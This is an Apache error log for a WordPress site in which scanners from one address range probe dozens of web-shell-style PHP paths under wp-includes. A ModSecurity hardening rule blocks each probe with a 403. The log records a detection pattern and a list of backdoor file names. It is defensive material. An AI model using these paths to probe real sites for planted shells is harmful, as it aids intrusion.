[Tue Feb 10 19:21:01.032342 2026] [proxy_fcgi:error] [pid 30054:tid 30071] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:01.173802 2026] [proxy_fcgi:error] [pid 30054:tid 30064] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:01.289977 2026] [proxy_fcgi:error] [pid 30054:tid 30075] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:01.794193 2026] [proxy_fcgi:error] [pid 30054:tid 30057] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:01.908373 2026] [proxy_fcgi:error] [pid 30054:tid 30078] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:02.198754 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:02.708212 2026] [proxy_fcgi:error] [pid 30054:tid 30066] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:02.867644 2026] [proxy_fcgi:error] [pid 30054:tid 30057] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:02.981369 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:03.102382 2026] [:error] [pid 30054:tid 30061] [client 194.5.82.12:53127] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aYsUn2ecgOOXCu-GgYUsegAAAQU"]
[Tue Feb 10 19:21:03.377866 2026] [proxy_fcgi:error] [pid 47937:tid 47954] [client 194.5.82.12:45389] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:03.488169 2026] [:error] [pid 47937:tid 47957] [client 194.5.82.12:45389] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aYsUn8pqXpC2CvJ3fOOhcAAAANI"]
[Tue Feb 10 19:21:03.710780 2026] [proxy_fcgi:error] [pid 7704:tid 7722] [client 194.5.82.6:64207] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:03.864096 2026] [proxy_fcgi:error] [pid 7704:tid 7721] [client 194.5.82.6:64207] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:04.092433 2026] [:error] [pid 7704:tid 7712] [client 194.5.82.6:64207] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aYsUoP0EcqgVBUs6CW0MqgAAAcU"]
[Tue Feb 10 19:21:04.393018 2026] [proxy_fcgi:error] [pid 47831:tid 47891] [client 194.5.82.39:32637] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:04.502829 2026] [:error] [pid 47831:tid 47885] [client 194.5.82.39:32637] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aYsUoCdxbZYarWVkiABkjwAAAEw"]
[Tue Feb 10 19:21:04.784196 2026] [proxy_fcgi:error] [pid 30054:tid 30069] [client 194.5.82.30:26571] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:04.898711 2026] [proxy_fcgi:error] [pid 30054:tid 30068] [client 194.5.82.30:26571] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:05.090097 2026] [proxy_fcgi:error] [pid 30054:tid 30077] [client 194.5.82.30:26571] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:05.371883 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.30:26571] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:05.868737 2026] [:error] [pid 30054:tid 30065] [client 194.5.82.30:26571] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aYsUoWecgOOXCu-GgYUskQAAAQk"]
[Tue Feb 10 19:21:06.095106 2026] [proxy_fcgi:error] [pid 47837:tid 47907] [client 194.5.82.166:49067] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:06.374027 2026] [proxy_fcgi:error] [pid 47837:tid 47901] [client 194.5.82.166:49067] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:06.504434 2026] [proxy_fcgi:error] [pid 47837:tid 47914] [client 194.5.82.166:49067] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:06.660613 2026] [proxy_fcgi:error] [pid 47837:tid 47902] [client 194.5.82.166:49067] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:07.090131 2026] [proxy_fcgi:error] [pid 47837:tid 47918] [client 194.5.82.166:49067] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:07.201455 2026] [:error] [pid 47837:tid 47910] [client 194.5.82.166:49067] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aYsUo3FY8KYFPX79Z4nW3QAAAIo"]
[Tue Feb 10 19:21:07.485630 2026] [proxy_fcgi:error] [pid 7704:tid 7727] [client 194.5.82.27:62325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:07.656022 2026] [proxy_fcgi:error] [pid 7704:tid 7731] [client 194.5.82.27:62325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:07.772234 2026] [proxy_fcgi:error] [pid 7704:tid 7716] [client 194.5.82.27:62325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:08.069183 2026] [proxy_fcgi:error] [pid 7704:tid 7709] [client 194.5.82.27:62325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:08.457570 2026] [:error] [pid 7704:tid 7708] [client 194.5.82.27:62325] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aYsUpP0EcqgVBUs6CW0MuAAAAcE"]
[Tue Feb 10 19:21:08.687417 2026] [proxy_fcgi:error] [pid 30054:tid 30077] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:08.800589 2026] [proxy_fcgi:error] [pid 30054:tid 30078] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:09.074484 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:09.190005 2026] [proxy_fcgi:error] [pid 30054:tid 30056] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:09.365232 2026] [proxy_fcgi:error] [pid 30054:tid 30061] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:09.483422 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.49:27461] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:09.763264 2026] [:error] [pid 30054:tid 30071] [client 194.5.82.49:27461] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aYsUpWecgOOXCu-GgYUsnwAAAQ8"]
[Tue Feb 10 19:21:10.109105 2026] [proxy_fcgi:error] [pid 47831:tid 47875] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:10.259916 2026] [proxy_fcgi:error] [pid 47831:tid 47884] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:10.497443 2026] [proxy_fcgi:error] [pid 47831:tid 47892] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:10.621250 2026] [proxy_fcgi:error] [pid 47831:tid 47894] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:11.008254 2026] [proxy_fcgi:error] [pid 47831:tid 47881] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:11.286917 2026] [proxy_fcgi:error] [pid 47831:tid 47874] [client 194.5.82.11:35385] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:11.397377 2026] [:error] [pid 47831:tid 47888] [client 194.5.82.11:35385] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aYsUpydxbZYarWVkiABkqQAAAE8"]
[Tue Feb 10 19:21:11.701029 2026] [proxy_fcgi:error] [pid 47937:tid 47960] [client 194.5.82.46:21123] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:11.856559 2026] [proxy_fcgi:error] [pid 47937:tid 47947] [client 194.5.82.46:21123] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:11.976604 2026] [proxy_fcgi:error] [pid 47937:tid 47963] [client 194.5.82.46:21123] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:12.092081 2026] [:error] [pid 47937:tid 47948] [client 194.5.82.46:21123] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aYsUqMpqXpC2CvJ3fOOhhQAAAMk"]
[Tue Feb 10 19:21:12.462649 2026] [proxy_fcgi:error] [pid 30054:tid 30077] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:12.576663 2026] [proxy_fcgi:error] [pid 30054:tid 30078] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:12.691690 2026] [proxy_fcgi:error] [pid 30054:tid 30067] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:12.808752 2026] [proxy_fcgi:error] [pid 30054:tid 30069] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:12.970002 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:13.086053 2026] [proxy_fcgi:error] [pid 30054:tid 30056] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:13.206352 2026] [proxy_fcgi:error] [pid 30054:tid 30061] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:13.509827 2026] [proxy_fcgi:error] [pid 30054:tid 30057] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:13.657775 2026] [proxy_fcgi:error] [pid 30054:tid 30063] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:13.776526 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:14.158426 2026] [proxy_fcgi:error] [pid 30054:tid 30075] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:14.284885 2026] [proxy_fcgi:error] [pid 30054:tid 30072] [client 194.5.82.49:21497] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:14.670379 2026] [:error] [pid 30054:tid 30076] [client 194.5.82.49:21497] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/layout.php"] [unique_id "aYsUqmecgOOXCu-GgYUstQAAARQ"]
[Tue Feb 10 19:21:15.009544 2026] [:error] [pid 30054:tid 30069] [client 194.5.82.50:62861] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aYsUq2ecgOOXCu-GgYUsuAAAAQ0"]
[Tue Feb 10 19:21:15.276517 2026] [:error] [pid 47937:tid 47947] [client 194.5.82.11:23409] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aYsUq8pqXpC2CvJ3fOOhjwAAAMg"]
[Tue Feb 10 19:21:15.673079 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.43:28993] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:15.783581 2026] [:error] [pid 59544:tid 59566] [client 194.5.82.43:28993] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aYsUq6ZySR9mFY4BainoMQAAAZA"]
[Tue Feb 10 19:21:16.010612 2026] [proxy_fcgi:error] [pid 47937:tid 47962] [client 194.5.82.34:48219] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:16.165560 2026] [proxy_fcgi:error] [pid 47937:tid 47942] [client 194.5.82.34:48219] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:16.281279 2026] [proxy_fcgi:error] [pid 47937:tid 47943] [client 194.5.82.34:48219] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:16.682122 2026] [proxy_fcgi:error] [pid 47937:tid 47952] [client 194.5.82.34:48219] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:16.957736 2026] [:error] [pid 47937:tid 47961] [client 194.5.82.34:48219] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aYsUrMpqXpC2CvJ3fOOhmAAAANY"]
[Tue Feb 10 19:21:17.383434 2026] [:error] [pid 47937:tid 47960] [client 194.5.82.27:32645] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/generated-classname.php"] [unique_id "aYsUrcpqXpC2CvJ3fOOhnAAAANU"]
[Tue Feb 10 19:21:17.796478 2026] [proxy_fcgi:error] [pid 47937:tid 47946] [client 194.5.82.22:55171] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:18.061108 2026] [proxy_fcgi:error] [pid 47937:tid 47944] [client 194.5.82.22:55171] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:18.178607 2026] [proxy_fcgi:error] [pid 47937:tid 47955] [client 194.5.82.22:55171] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:19.167339 2026] [proxy_fcgi:error] [pid 47937:tid 47940] [client 194.5.82.22:55171] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:19.280166 2026] [:error] [pid 47937:tid 47946] [client 194.5.82.22:55171] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/dashboard.php"] [unique_id "aYsUr8pqXpC2CvJ3fOOhrQAAAMc"]
[Tue Feb 10 19:21:19.573579 2026] [proxy_fcgi:error] [pid 7704:tid 7728] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:19.695982 2026] [proxy_fcgi:error] [pid 7704:tid 7712] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:19.864067 2026] [proxy_fcgi:error] [pid 7704:tid 7713] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:19.981126 2026] [proxy_fcgi:error] [pid 7704:tid 7723] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:20.256293 2026] [proxy_fcgi:error] [pid 7704:tid 7726] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:20.373433 2026] [proxy_fcgi:error] [pid 7704:tid 7714] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:20.497119 2026] [proxy_fcgi:error] [pid 7704:tid 7707] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:20.663693 2026] [proxy_fcgi:error] [pid 7704:tid 7719] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:20.793839 2026] [proxy_fcgi:error] [pid 7704:tid 7724] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:21.062046 2026] [proxy_fcgi:error] [pid 7704:tid 7731] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:21.179678 2026] [proxy_fcgi:error] [pid 7704:tid 7716] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:21.299153 2026] [proxy_fcgi:error] [pid 7704:tid 7709] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:21.694623 2026] [proxy_fcgi:error] [pid 7704:tid 7725] [client 194.5.82.14:23007] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:23.186279 2026] [:error] [pid 7704:tid 7722] [client 194.5.82.14:23007] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aYsUs_0EcqgVBUs6CW0M1gAAAc8"]
[Tue Feb 10 19:21:23.594468 2026] [:error] [pid 30054:tid 30077] [client 194.5.82.50:62539] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/bala.php"] [unique_id "aYsUs2ecgOOXCu-GgYUsxAAAARU"]
[Tue Feb 10 19:21:23.812081 2026] [:error] [pid 47937:tid 47957] [client 194.5.82.51:20705] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aYsUs8pqXpC2CvJ3fOOhsAAAANI"]
[Tue Feb 10 19:21:24.559208 2026] [proxy_fcgi:error] [pid 47837:tid 47914] [client 194.5.82.35:55193] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:24.674134 2026] [proxy_fcgi:error] [pid 47837:tid 47921] [client 194.5.82.35:55193] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:24.787283 2026] [proxy_fcgi:error] [pid 47837:tid 47913] [client 194.5.82.35:55193] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:24.899668 2026] [:error] [pid 47837:tid 47902] [client 194.5.82.35:55193] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aYsUtHFY8KYFPX79Z4nW8gAAAII"]
[Tue Feb 10 19:21:25.188162 2026] [proxy_fcgi:error] [pid 47831:tid 47873] [client 194.5.82.48:45085] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:25.472194 2026] [:error] [pid 47831:tid 47888] [client 194.5.82.48:45085] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aYsUtSdxbZYarWVkiABkxQAAAE8"]
[Tue Feb 10 19:21:25.690001 2026] [:error] [pid 59544:tid 59560] [client 194.5.82.31:30303] [client 194.5.82.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-load.php"] [unique_id "aYsUtaZySR9mFY4BainoOAAAAYw"]
[Tue Feb 10 19:21:25.921404 2026] [proxy_fcgi:error] [pid 59544:tid 59548] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.068677 2026] [proxy_fcgi:error] [pid 59544:tid 59556] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.186759 2026] [proxy_fcgi:error] [pid 59544:tid 59555] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.303798 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.462749 2026] [proxy_fcgi:error] [pid 59544:tid 59559] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.588854 2026] [proxy_fcgi:error] [pid 59544:tid 59553] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.759362 2026] [proxy_fcgi:error] [pid 59544:tid 59563] [client 194.5.82.23:32107] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:26.893944 2026] [:error] [pid 59544:tid 59572] [client 194.5.82.23:32107] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aYsUtqZySR9mFY4BainoRAAAAZU"]
[Tue Feb 10 19:21:27.118504 2026] [proxy_fcgi:error] [pid 47831:tid 47890] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:27.264649 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:27.499026 2026] [proxy_fcgi:error] [pid 47831:tid 47883] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:27.763996 2026] [proxy_fcgi:error] [pid 47831:tid 47894] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:27.879636 2026] [proxy_fcgi:error] [pid 47831:tid 47880] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:27.991783 2026] [proxy_fcgi:error] [pid 47831:tid 47873] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:28.272193 2026] [proxy_fcgi:error] [pid 47831:tid 47874] [client 194.5.82.9:48953] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:29.590103 2026] [:error] [pid 47831:tid 47891] [client 194.5.82.9:48953] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/about.php"] [unique_id "aYsUuSdxbZYarWVkiABk2AAAAFI"]
[Tue Feb 10 19:21:29.820010 2026] [proxy_fcgi:error] [pid 47830:tid 47867] [client 194.5.82.16:48311] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:29.972994 2026] [proxy_fcgi:error] [pid 47830:tid 47863] [client 194.5.82.16:48311] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:30.359315 2026] [proxy_fcgi:error] [pid 47830:tid 47845] [client 194.5.82.16:48311] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:30.603674 2026] [proxy_fcgi:error] [pid 47830:tid 47853] [client 194.5.82.16:48311] AH01071: Got error 'Primary script unknown'
